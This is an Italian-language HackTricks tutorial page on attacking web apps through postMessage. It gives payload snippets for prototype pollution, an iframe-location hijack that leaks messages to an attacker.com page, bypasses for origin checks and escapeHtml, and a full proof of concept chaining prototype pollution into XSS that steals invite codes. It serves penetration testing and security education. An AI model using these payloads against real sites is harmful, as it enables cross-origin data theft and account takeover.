PostMessage Vulnerabilities

PostMessage Vulnerabilities

Support HackTricks

Invia PostMessage

PostMessage utilizza la seguente funzione per inviare un messaggio:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Nota che targetOrigin può essere un '*' o un URL come https://company.com. Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l'origine dell'oggetto finestra è diversa). Se viene utilizzato il carattere jolly, i messaggi possono essere inviati a qualsiasi dominio, e saranno inviati all'origine dell'oggetto Window.

Attacco iframe e carattere jolly in targetOrigin

Come spiegato in questo report, se trovi una pagina che può essere iframed (senza protezione X-Frame-Header) e che sta inviando messaggi sensibili tramite postMessage utilizzando un carattere jolly (*), puoi modificare l'origine dell'iframe e leak il messaggio sensibile a un dominio controllato da te. Nota che se la pagina può essere iframed ma il targetOrigin è impostato su un URL e non su un carattere jolly, questo trucco non funzionerà.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

sfruttamento di addEventListener

addEventListener è la funzione utilizzata da JS per dichiarare la funzione che si aspetta postMessages. Un codice simile a quello seguente sarà utilizzato:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Nota in questo caso come la prima cosa che il codice sta facendo è controllare l'origine. Questo è terribilmente importante principalmente se la pagina deve fare qualcosa di sensibile con le informazioni ricevute (come cambiare una password). Se non controlla l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint e cambiare le password delle vittime (in questo esempio).

Enumerazione

Per trovare i listener di eventi nella pagina corrente puoi:

  • Cercare il codice JS per window.addEventListener e $(window).on (versione JQuery)

  • Eseguire nella console degli strumenti per sviluppatori: getEventListeners(window)

  • Andare a Elements --> Event Listeners negli strumenti per sviluppatori del browser

Bypass dei controlli di origine

  • L'attributo event.isTrusted è considerato sicuro in quanto restituisce True solo per eventi generati da azioni genuine dell'utente. Anche se è difficile da bypassare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole.

  • L'uso di indexOf() per la validazione dell'origine negli eventi PostMessage può essere suscettibile a bypass. Un esempio che illustra questa vulnerabilità è:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Il metodo search() di String.prototype.search() è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché nelle regex, un punto (.) agisce come un carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • La funzione match(), simile a search(), elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.

  • La funzione escapeHtml è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca hasOwnProperty, la escapeHtml non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:

  • Fallimento previsto:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Bypassando l'escape:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Nel contesto di questa vulnerabilità, l'oggetto File è notevolmente sfruttabile a causa della sua proprietà name di sola lettura. Questa proprietà, quando utilizzata nei modelli, non è sanificata dalla funzione escapeHtml, portando a potenziali rischi per la sicurezza.

  • La proprietà document.domain in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.

e.origin == window.origin bypass

Quando si incorpora una pagina web all'interno di un iframe sandboxed utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano attributi sandbox e le loro implicazioni sulla sicurezza e sulla funzionalità.

Specificando allow-popups nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo allow-popups-to-escape-sandbox non sia incluso, l'origine della finestra popup è anch'essa impostata su null, allineandosi con l'origine dell'iframe.

Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando postMessage, sia l'invio che la ricezione hanno le loro origini impostate su null. Questa situazione porta a uno scenario in cui e.origin == window.origin risulta vero (null == null), poiché sia l'iframe che la popup condividono lo stesso valore di origine di null.

Per ulteriori informazioni leggi:

Bypassing SOP with Iframes - 1

Bypass di e.source

È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per Content Scripts delle estensioni del browser per controllare se il messaggio è stato inviato dalla stessa pagina):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Puoi forzare e.source di un messaggio a essere nullo creando un iframe che invia il postMessage e viene immediatamente eliminato.

Per ulteriori informazioni leggi:

Bypassing SOP with Iframes - 2

Bypass dell'header X-Frame

Per eseguire questi attacchi, idealmente dovresti essere in grado di mettere la pagina web della vittima all'interno di un iframe. Ma alcuni header come X-Frame-Header possono prevenire quel comportamento. In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Rubare messaggi inviati al child bloccando la pagina principale

Nella seguente pagina puoi vedere come potresti rubare dei dati postmessage sensibili inviati a un child iframe bloccando la pagina principale prima di inviare i dati e abusando di un XSS nel child per leakare i dati prima che vengano ricevuti:

Blocking main page to steal postmessage

Rubare messaggi modificando la posizione dell'iframe

Se puoi iframe una pagina web senza X-Frame-Header che contiene un altro iframe, puoi cambiare la posizione di quel child iframe, quindi se sta ricevendo un postmessage inviato utilizzando un wildcard, un attaccante potrebbe cambiare quell'iframe origin a una pagina controllata da lui e rubare il messaggio:

Steal postmessage modifying iframe location

postMessage per Prototype Pollution e/o XSS

In scenari in cui i dati inviati tramite postMessage vengono eseguiti da JS, puoi iframe la pagina e sfruttare la prototype pollution/XSS inviando l'exploit tramite postMessage.

Un paio di XSS molto ben spiegati tramite postMessage possono essere trovati in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Esempio di un exploit per abusare di Prototype Pollution e poi XSS tramite un postMessage a un iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Per maggiori informazioni:

Riferimenti

Supporta HackTricks

Last updated